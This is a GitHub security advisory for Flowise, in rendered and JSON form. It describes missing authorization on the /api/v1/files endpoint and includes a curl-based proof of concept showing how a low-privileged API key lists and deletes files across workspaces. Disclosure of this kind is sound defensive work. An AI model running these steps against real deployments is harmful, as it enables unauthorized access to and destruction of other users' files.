GHSA-WP74-F5HH-5F3R

Vulnerability from github – Published: 2026-08-04 14:54 – Updated: 2026-08-04 14:54
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Summary
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
Details

summary:

In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.

details:

The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:

  • getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root
  • deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path

As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:

  • called GET /api/v1/files and received 200 OK
  • listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446
  • called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK
  • confirmed the file was removed by re-querying the file list

impact:

Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.

reproduction steps:

  1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://localhost:8080/api/v1/apikey
  1. Record the returned API key. In my local test, the key was:

  2. ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E

  3. Prepare a test file under a different workspace within the same organization, for example:

  4. f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt

  5. Use the low-privileged API key to list files:

curl -i \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response that includes a file from another workspace, for example:
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
  1. Use the same API key to delete that file:
curl -i -X DELETE --get \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response:
{"message":"file_deleted"}
  1. Call GET /api/v1/files again and confirm that the file is no longer present.
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T14:54:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# summary:\nIn Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.\n\n# details:\nThe `/files` route is mounted with `IdentityManager.checkFeatureByPlan(\u0027feat:files\u0027)` only and has no additional permission middleware. In the controller:\n\n- `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root\n- `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path`\n\nAs a result, the API key\u2019s `permissions` and `activeWorkspaceId` are not used to restrict file access.  \nIn the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `[\"tools:view\"]` was created, then successfully:\n\n- called `GET /api/v1/files` and received `200 OK`\n- listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446`\n- called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK`\n- confirmed the file was removed by re-querying the file list\n\n# impact:\nAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.\n\n# reproduction steps:\n\n1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:\n\n```bash\ncurl -i -b tamako.cookie \\\n  -H \u0027x-request-from: internal\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"keyName\":\"poc-files-noperm\",\"permissions\":[\"tools:view\"]}\u0027 \\\n  http://localhost:8080/api/v1/apikey\n```\n\n2. Record the returned API key. In my local test, the key was:\n\n- `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E`\n\n3. Prepare a test file under a different workspace within the same organization, for example:\n\n- `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt`\n\n4. Use the low-privileged API key to list files:\n\n```bash\ncurl -i \\\n  -H \u0027Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E\u0027 \\\n  http://localhost:8080/api/v1/files\n```\n\n5. Observe a `200 OK` response that includes a file from another workspace, for example:\n\n```json\n[{\"name\":\"poc-cross-workspace.txt\",\"path\":\"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\",\"size\":19}]\n```\n\n6. Use the same API key to delete that file:\n\n```bash\ncurl -i -X DELETE --get \\\n  -H \u0027Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E\u0027 \\\n  --data-urlencode \u0027path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\u0027 \\\n  http://localhost:8080/api/v1/files\n```\n\n7. Observe a `200 OK` response:\n\n```json\n{\"message\":\"file_deleted\"}\n```\n\n8. Call `GET /api/v1/files` again and confirm that the file is no longer present.",
  "id": "GHSA-wp74-f5hh-5f3r",
  "modified": "2026-08-04T14:54:03Z",
  "published": "2026-08-04T14:54:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wp74-f5hh-5f3r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization"
}



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